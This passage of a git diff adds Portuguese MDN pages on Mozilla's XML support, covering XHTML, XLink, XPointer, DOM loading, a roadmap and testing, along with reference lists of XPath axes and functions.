quando você exercita o caminho do código HTML. +</p> +<table class="standard-table"> <tbody><tr> +<td class="header">MIME Type +</td><td class="header">Extensão do Arquivo +</td><td class="header">Caminho do Código +</td></tr> +<tr> +<td>text/xml<br>application/xml<br>application/xhtml+xml +</td><td>xml<br>xht<br>xhtml +</td><td>XML +</td></tr> +<tr> +<td>text/html +</td><td>html<br>htm +</td><td>HTML +</td></tr> +</tbody></table> +<p>O documento inteiro não precisa ser um XHTML. Você pode usar elementos XHTML dentro de um documento XML arbitrário por usar <i>namespace</i> XHTML. Veja a sessão <a href="#Testing_and_QA">Testing and QA</a> por exemplo. O <i>namespace</i> XHTML correto é <code><span class="nowiki">http://www.w3.org/1999/xhtml</span></code> +</p><p>Note que as entidades XHTML, como <code>&auml;</code>, Trabalham somente em conformidade com documentos XHTML que tenham um Formal Public Identifier (ou em outras palavras, uma sessão DOCTYPE com um identificador PUBLIC). Entidades XHTML não trabalham com documentos XML arbitrátios, mesmo se o <i>namespace</i> XHTML está sendo usado. Os identificadores públicos que são reconhecidos são: +</p> +<pre>-//W3C//DTD XHTML 1.0 Transitional//EN +-//W3C//DTD XHTML 1.1//EN +-//W3C//DTD XHTML 1.0 Strict//EN +-//W3C//DTD XHTML 1.0 Frameset//EN +-//W3C//DTD XHTML Basic 1.0//EN +-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN +-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN +-//W3C//DTD SVG 20001102//EN +-//WAPFORUM//DTD XHTML Mobile 1.0//EN +</pre> +<h4 id="XML_Linking_e_Pointing" name="XML_Linking_e_Pointing"> XML <i>Linking</i> e <i>Pointing</i> </h4> +<p>O suporte a XML <i>Linking</i> inclui <a class="external" href="http://www.w3.org/TR/xmlbase">XML Base</a> (usado somente quando você move o cursor sobre um link ou clica em um link) e simples <a class="external" href="http://www.w3.org/TR/xlink/">XLinks</a>. Você pode colocar qualquer elemento XML em um XLink usando o XLink <i>namespace</i> <code><span class="nowiki">http://www.w3.org/1999/xlink</span></code>. Você pode também usar os elementos de <i>linking</i> do XHTML <i>namespace</i>. Veja a sessão <a href="#Testing_and_QA">Testing and QA</a> para amostras. +</p><p>Para <i>pointing</i> em recursos nos documentos XML, Mozilla também suporta <a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJun/att-0074/01-NOTE-FIXptr-20010425.htm">FIXptr</a>, uma versão simplificada e não-compatível do XPointer. Em adição ao uso do FIXptr em links, é possível usá-lo a partir de <i>scripts</i>. Veja a interface proprietária <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/public/idl/core/nsIDOMXMLDocument.idl" rel="custom">dom/public/idl/core/nsIDOMXMLDocument.idl</a></code>. Há um caso de exemplo para <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=46954&action=view">FIXptr links</a> e um <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=61629&action=view">exemplo de <i>scripting</i></a>. +</p><p>Desde 1.4 alpha, Mozilla também suporta <a class="external" href="http://www.w3.org/TR/xptr-framework/">XPointer Framework</a>, <a class="external" href="http://www.w3.org/TR/xptr-element/">esquema XPointer <code>element()</code></a>, <a class="external" href="http://www.w3.org/TR/xptr-xmlns/">esquema XPointer <code>xmlns()</code></a>, esquema XPointer <code>fixptr()</code> e <a class="external" href="http://www.simonstl.com/ietf/draft-stlaurent-xpath-frag-00.html">esquema XPointer <code>xpath1()</code></a>. O processador XPointer é extensível e é fácil de implementar suporte para outros esquemas - dê uma olhada em <a href="https://dxr.mozilla.org/mozilla-central/source/content/xml/document/public/nsIXPointer.idl" rel="custom">API</a>. O esquema <code>xpath1()</code> foi <a href="https://dxr.mozilla.org/mozilla-central/source/content/xslt/src/xpath/nsXPath1Scheme.cpp" rel="custom">implementado usando este mecanismo extensível</a>. Há também uma <a href="https://dxr.mozilla.org/mozilla-central/source/dom/public/idl/core/nsIDOMXMLDocument.idl" rel="custom">API proprietária de <i>scripts</i></a> para o processador XPointer. Há um <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=119333&action=view">caso de exemplo para XPointers</a> que você também pode estudar. +</p><p>Por último, há uma preferência que você talvez queira testar (especialmente útil com FIXptr) que selecionará a área de alvo do link quando você atravessá-la. Não ná interface de usuário para configurar esta preferência ainda, então você precisará editar o arquivo de preferências manualmente. Adicione esta linha: +</p> +<pre>pref("layout.selectanchor", true); +</pre> +<h4 id="M.C3.A9todos_de_carregamento_e_salvamento_do_DOM" name="M.C3.A9todos_de_carregamento_e_salvamento_do_DOM"> Métodos de carregamento e salvamento do DOM </h4> +<p><code>document.load()</code> é uma parte de uma antiga versão do <a class="external" href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">DOM Level 3 Load & Save module</a> do W3C. O Mozilla atualmente implementa somente o método <code>load()</code> e a propriedade <code>async</code>. Desde 1.4 alpha é possível carregar documentos sincronicamente, antes só era possível de maneira assíncrona. <a href="https://dxr.mozilla.org/mozilla-central/source/content/xml/tests/load/" rel="custom">Veja a amostra de carregamento</a> no diretório de textes XML. (Carregando o arquivo load.html da página LXR gerada não trabalhará, pois o LXR converterá o arquivo test.xml em HTML e servirá como HTML. Para testar esta funcionalidade, crie os arquivos no seu disco local ou em um servidor web.) +</p> +<h3 id="Recomenda.C3.A7.C3.B5es_XML_externas_ao_suporte_W3C" name="Recomenda.C3.A7.C3.B5es_XML_externas_ao_suporte_W3C"> Recomendações XML externas ao suporte W3C </h3> +<table class="standard-table"> <tbody><tr> +<td class="header">Especificação ou Tecnologia +</td><td class="header">Documentação +</td><td class="header">Projeto Mozilla +</td></tr> +<tr> +<td><a href="pt/XSLT">XSLT</a> +</td><td><a class="external" href="http://www.w3.org/TR/xslt">Recomendação W3C</a> +</td><td><a class="external" href="http://www.mozilla.org/projects/xslt/">XSLT</a> +</td></tr> +<tr> +<td><a href="pt/XPath">XPath</a> +</td><td><a class="external" href="http://www.w3.org/TR/xpath">Recomendação W3C</a> +</td><td><a class="external" href="http://www.mozilla.org/projects/xslt/">XSLT</a> +</td></tr> +<tr> +<td><a href="pt/XMLHttpRequest">XMLHttpRequest</a> +</td><td><a class="external" href="http://www.w3.org/TR/XMLHttpRequest/">Esboços W3C</a> +</td><td><a class="external" href="http://www.mozilla.org/xmlextras/">Extras XML</a> +</td></tr> +<tr> +<td><a href="pt/DOMParser">DOMParser</a> e <a href="pt/XMLSerializer">XMLSerializer</a> +</td><td><a class="external" href="http://www.mozilla.org/xmlextras/">Mozilla</a> +</td><td><a class="external" href="http://www.mozilla.org/xmlextras/">Extras XML</a> +</td></tr> +<tr> +<td><a href="pt/SAX">SAX</a> +</td><td><a class=" external" href="http://www.saxproject.org/">http://www.saxproject.org/</a> +</td><td> +</td></tr> +<tr> +<td><a href="pt/SOAP_em_navegadores_baseados_no_Gecko">SOAP</a> +</td><td><a class="external" href="http://www.w3.org/TR/SOAP/">Nota W3C</a> +</td><td><a class="external" href="http://www.mozilla.org/projects/webservices/">Serviços Web</a> +</td></tr> +<tr> +<td><a href="pt/XML-RPC">XML-RPC</a> +</td><td><a class="external" href="http://www.xmlrpc.com/spec">UserLand Software</a> +</td><td><a class="external" href="http://www.mozilla.org/projects/xmlrpc/">XML-RPC</a> +</td></tr> +<tr> +<td><a href="pt/RDF">RDF</a> +</td><td><a class="external" href="http://www.w3.org/RDF/">Recomendações W3C</a> +</td><td><a href="pt/RDF">RDF</a> +</td></tr> +<tr> +<td><a href="pt/SVG">SVG</a> +</td><td><a class="external" href="http://www.w3.org/Graphics/SVG/">Recomendações Propostas W3C</a> +</td><td><a class="external" href="http://www.mozilla.org/projects/svg/">SVG</a> +</td></tr> +<tr> +<td><a href="pt/MathML">MathML</a> +</td><td><a class="external" href="http://www.w3.org/TR/MathML/">Recomendações W3C</a> +</td><td><a class="external" href="http://www.mozilla.org/projects/mathml/">MathML</a> +</td></tr> +<tr> +<td><a href="pt/P3P">P3P</a> +</td><td><a class="external" href="http://www.w3.org/TR/P3P/">Recomendações W3C</a> +</td><td><a class="external" href="http://www.mozilla.org/projects/p3p/">P3P</a> +</td></tr> +<tr> +<td><a href="pt/Acessando_Servi%c3%a7os_Web_no_Mozilla_usando_WSDL_Proxying">WSDL</a> +</td><td><a class="external" href="http://www.w3.org/TR/wsdl">Nota W3C</a> +</td><td><a class="external" href="http://www.mozilla.org/projects/webservices/">Serviços Web</a> +</td></tr> +<tr> +<td><a href="pt/XBL">XBL</a> +</td><td><a href="pt/XBL/XBL_1.0_Reference">Referência XBL do Mozilla</a> +</td><td> +</td></tr> +<tr> +<td><a href="pt/XUL">XUL</a> +</td><td><a href="pt/XUL_Reference">Referência XUL do Mozilla</a> +</td><td> +</td></tr> +</tbody></table> +<h3 id="Roadmap" name="Roadmap"> <i>Roadmap</i> </h3> +<p>As próximas grandes tarefas incluem o suporte para o esquema XPointer <code>xpointer()</code> (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=32832" title="Implement XPointer">bug 32832</a>), XInclude (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=201754" title="XML Inclusions (XInclude)">bug 201754</a>), XML Catalogs (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=98413" title="Implement XML Catalogs">bug 98413</a>), XForms (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=97806" title="Implement W3C XForms in browser and composer">bug 97806</a>; o trabalho está sendo feito na implementação desde como extensão), análise de validação (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=196355" title="Implement validating XML parser (validate with DTDs)">bug 196355</a>),Esquemas XML, e incremento da disposição do documento XML (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=18333" title="FIXED: XML Content Sink should be incremental">bug 18333</a>). +</p><p>Para a completa implementação do XLink, nós precisamos de um gerenciador de links. Veja alguns <a class="external" href="http://www.mozilla.org/newlayout/xml/lmdesign.html">documentos de design</a> iniciais. +</p> +<h3 id="Testes_e_Garantia_de_Qualidade" name="Testes_e_Garantia_de_Qualidade"> Testes e Garantia de Qualidade </h3> +<p>Nós temos muitos casos de teste <i>linkados</i> à página de garantia de qualidade dae <a class="external" href="http://www.mozilla.org/quality/browser_sc.html">conformidade de padrões de navegador</a>. +</p><p>A maioria dos principais documentos de teste XML no servidor CVS estão localizados em <code><a href="https://dxr.mozilla.org/mozilla-central/source/content/xml/tests" rel="custom">content/xml/tests</a></code>. Nós temos também um par online: os livros demonstrações e a tabela de conteúdos de demonstração de IRS. Ambos demonstram XML, Associação de folhas de estilo ao XML, exibição de XML com CSS, <i>Namespaces</i> em XML, XLinks simples e manipulação do XML com <i>scripts</i> via DOM. +</p><p>Há um componente XML em Bugzilla. +</p><p>Nós também temos a palavra-chave "xhtml" para erros XHTML (estes tendem a ser dispersados através de componentes). +</p> +<h3 id="Como_eu_posso_ajudar.3F" name="Como_eu_posso_ajudar.3F"> Como eu posso ajudar? </h3> +<p>Se você pode programar, procure a <a class="external" href="http://bugzilla.mozilla.org/buglist.cgi?bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&email1=&emailtype1=substring&emailassigned_to1=1&email2=&emailtype2=substring&emailreporter2=1&bugidtype=include&bug_id=&changedin=&votes=&chfieldfrom=&chfieldto=Now&chfieldvalue=&product=Browser&component=XML&short_desc=&short_desc_type=substring&long_desc=&long_desc_type=substring&bug_file_loc=&bug_file_loc_type=substring&status_whiteboard=&status_whiteboard_type=substring&keywords=helpwanted&keywords_type=anywords&field0-0-0=noop&type0-0-0=noop&value0-0-0=&cmdtype=doit&namedcmd=joki_not_fixed_not_future&newqueryname=&order=Reuse+same+sort+as+last+time">palavra-chave helpwanted em erros XML</a>. Nós não usamos isto sempre, então se você deseja evitar fazer trabalho duplicado você pode começar trabalhando em erros que tem <a class="external" href="http://bugzilla.mozilla.org/buglist.cgi?bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&email1=&emailtype1=substring&emailassigned_to1=1&email2=&emailtype2=substring&emailreporter2=1&bugidtype=include&bug_id=&changedin=&votes=&chfieldfrom=&chfieldto=Now&chfieldvalue=&product=Browser&component=XML&target_milestone=Future&short_desc=&short_desc_type=substring&long_desc=&long_desc_type=substring&bug_file_loc=&bug_file_loc_type=substring&status_whiteboard=&status_whiteboard_type=substring&keywords=&keywords_type=anywords&field0-0-0=noop&type0-0-0=noop&value0-0-0=&cmdtype=doit&namedcmd=joki_not_fixed_not_future&newqueryname=&order=Reuse+same+sort+as+last+time">futuros <i>milestones</i></a>, ou outro <i>milestone</i> que esteja definido bem para o futuro. +</p><p>Você pode sempre testar nosso suporte XML. Nós realmente gostaríamos de pegar testes que podem rodar automaticamente (isto pode requerer conhecimento em desenvolvimento web; <code>document.load()</code> e/ou Extras XML poderão ser necessários), mas provavelmente a maioria dos erros que tenhamos acabado de encontrar são por pessoas normais tentando fazer alguma coisa que funcione em alguns navegadores e não funciona no Mozilla. +</p><p><span class="comment">Categorias</span> +</p><p><span class="comment">Interwiki Language Links</span> +</p> diff --git a/files/pt-pt/orphaned/xpath/eixos/index.html b/files/pt-pt/orphaned/xpath/eixos/index.html new file mode 100644 index 0000000000..2556889341 --- /dev/null +++ b/files/pt-pt/orphaned/xpath/eixos/index.html @@ -0,0 +1,44 @@ +--- +title: Eixos +slug: XPath/Eixos +tags: + - Referência_XPath + - Todas_as_Categorias + - XPath +--- +<p> +{{ XsltRef() }} +Existem trez diferentes eixos na especificação <a href="pt/XPath">XPath</a>. Um eixo representa o relacionamento ao contexto do nó e é usado para localizar nós relativos àquele nó na árvore. O que segue é uma estremamente breve descrição dos trezes eixos disponíveis e o grau de suporte disponível em <a href="pt/Gecko">Gecko</a>. +</p><p>Para leitura adicional sobre utilização de expressões XPath, por favor veja a seção <a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional">Para leitura adicional</a> no fim do documento <a href="pt/Transformar_XML_com_XSLT">Transformar XML com XSLT</a>. +</p><p><br> +</p> +<dl><dt> <a href="pt/XPath/Eixos/ancestor">ancestor</a> +</dt><dd> Indica todos os antecessores do nó de contexto, começando com o nó-pai e transpassando ao nó-raiz. +</dd><dt> <a href="pt/XPath/Eixos/ancestor-or-self">ancestor-or-self</a> +</dt><dd> Indica o nó de contexto e todos os seus antecessores, incluindo o nó-raiz. +</dd><dt> <a href="pt/XPath/Eixos/attribute">attribute</a> +</dt><dd> Indica atributos do nó de contexto. Somente elementos têm atributos. Este eixo pode ser abreviado com o sinal (<code>@</code>). +</dd><dt> <a href="pt/XPath/Eixos/child">child</a> +</dt><dd> Indica o filho do nó de contexto. Se uma expressão XPath não especifica um eixo, é etendido por padrão. Somente o nó-raiz ou nós de elemento tem filhos, qualquer outro não selecionará nada. +</dd><dt> <a href="pt/XPath/Eixos/descendant">descendant</a> +</dt><dd> Indica todos os filhos do nó de contexto e todos os seus filhos, e assim por diante. Os nós de atributo e namespace <b>não</b> estão incluídos — o <code>parent</code> de um nó de <code>attribute</code> é um nó de elemento, mas nós <code>attribute</code> não são filhos de seus pais. +</dd><dt> <a href="pt/XPath/Eixos/descendant-or-self">descendant-or-self</a> +</dt><dd> Indica o nó de contexto e todos os seus descendentes. Os nós de atributo e namepace <b>não</b> são incluídos dos seus pais. +</dd><dt> <a href="pt/XPath/Eixos/following">following</a> +</dt><dd> Indica todos os nós que aparecem depois do nó de contexto, exceto qualquer nó <code>descendant</code>, <code>attribute</code>, e <code>namespace</code>. +</dd><dt> <a href="pt/XPath/Eixos/following-sibling">following-sibling</a> +</dt><dd> Indica todos os nós que tenham como mesmo pai o nó de contexto e apareçam depois do nó de contexto no código do documento. +</dd><dt> <a href="pt/XPath/Eixos/namespace">namespace</a> <i>(não suportado)</i> +</dt><dd> Indica todos os nós que estão ao alcançe do nó de contexto. Neste caso, o nó de contexto deve ser um nó-elemento. +</dd><dt> <a href="pt/XPath/Eixos/parent">parent</a> +</dt><dd> Indica os nós singulares que são pais do nó de contexto. Isto pode ser abreviado em dois períodos (<code>..</code>). +</dd><dt> <a href="pt/XPath/Eixos/preceding">preceding</a> +</dt><dd> Indica todos os nós que precedem o nó de contexto no documento, exeto nós <code>ancestor</code>, <code>attribute</code> e <code>namespace</code>. +</dd><dt> <a href="pt/XPath/Eixos/preceding-sibling">preceding-sibling</a> +</dt><dd> Indica todos os nós que tem como pai o nó de contexto e aparecem antes do nó de contexto no código do documento. +</dd><dt> <a href="pt/XPath/Eixos/self">self</a> +</dt><dd> Indica o próprio nó de contexto. Isto pode ser abreviado em um período simples (<code>.</code>). +</dd></dl> +<p><span>Categorias</span> +</p><p><span>Interwiki Language Links</span> +</p>{{ languages( { "en": "en/XPath/Axes", "es": "es/XPath/Ejes", "fr": "fr/XPath/Axes", "pl": "pl/XPath/Osie" } ) }} diff --git a/files/pt-pt/orphaned/xpath/funções/index.html b/files/pt-pt/orphaned/xpath/funções/index.html new file mode 100644 index 0000000000..0704cf3f14 --- /dev/null +++ b/files/pt-pt/orphaned/xpath/funções/index.html @@ -0,0 +1,47 @@ +--- +title: Funções +slug: XPath/Funções +tags: + - Referência_XPath + - Todas_as_Categorias + - XPath +--- +<p> +{{ XsltRef() }} +A seguinte lista é uma lista de anotações das funções do <a href="pt/XPath">XPath</a> e <a href="pt/XSLT">XSLT</a> — adições específicas para o XPath, incluindo uma descrição, sintaxe, uma lista de argumentos, tipo de resultados, código na recomendação apropriada W3C, e suporte presente <a href="pt/Gecko">Gecko</a>. Para informações adicionais sobre utilização das funções do XPath/XSLT, por favor veja a página:. +</p> +<ul><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/boolean">boolean()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/ceiling">ceiling()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/concat">concat()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/contains">contains()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/count">count()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/current">current()</a> <i>específica ao XSLT</i> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/document">document()</a> <i>específica ao XSLT</i> </li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/element-available">element-available()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/false">false()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/floor">floor()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/format-number">format-number()</a> <i>específica ao XSLT</i> </li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/function-available">function-available()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/generate-id">generate-id()</a> <i>específica ao XSLT</i> </li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/id">id()</a> <i>(parcialmente suportada)</i> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/key">key()</a> <i>específica ao XSLT</i> </li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/lang">lang()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/last">last()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/local-name">local-name()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/name">name()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/namespace-uri">namespace-uri()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/normalize-space">normalize-space()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/not">not()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/number">number()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/position">position()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/round">round()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/starts-with">starts-with()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/string">string()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/string-length">string-length()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/substring">substring()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/substring-after">substring-after()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/substring-before">substring-before()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/sum">sum()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/system-property">system-property()</a> <i>específica ao XSLT</i> </li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/translate">translate()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/true">true()</a> +</li><li> <a href="pt/XPath/Fun%c3%a7%c3%b5es/unparsed-entity-url">unparsed-entity-url()</a> <i>específica ao XSLT</i> <i>(não suportada)</i> +</li></ul> +<p><span class="comment">Categorias</span> +</p><p><span class="comment">Interwiki Language Links</span> +</p>{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "en": "en/XPath/Functions", "fr": "fr/XPath/Fonctions", "pl": "pl/XPath/Funkcje" } ) }} |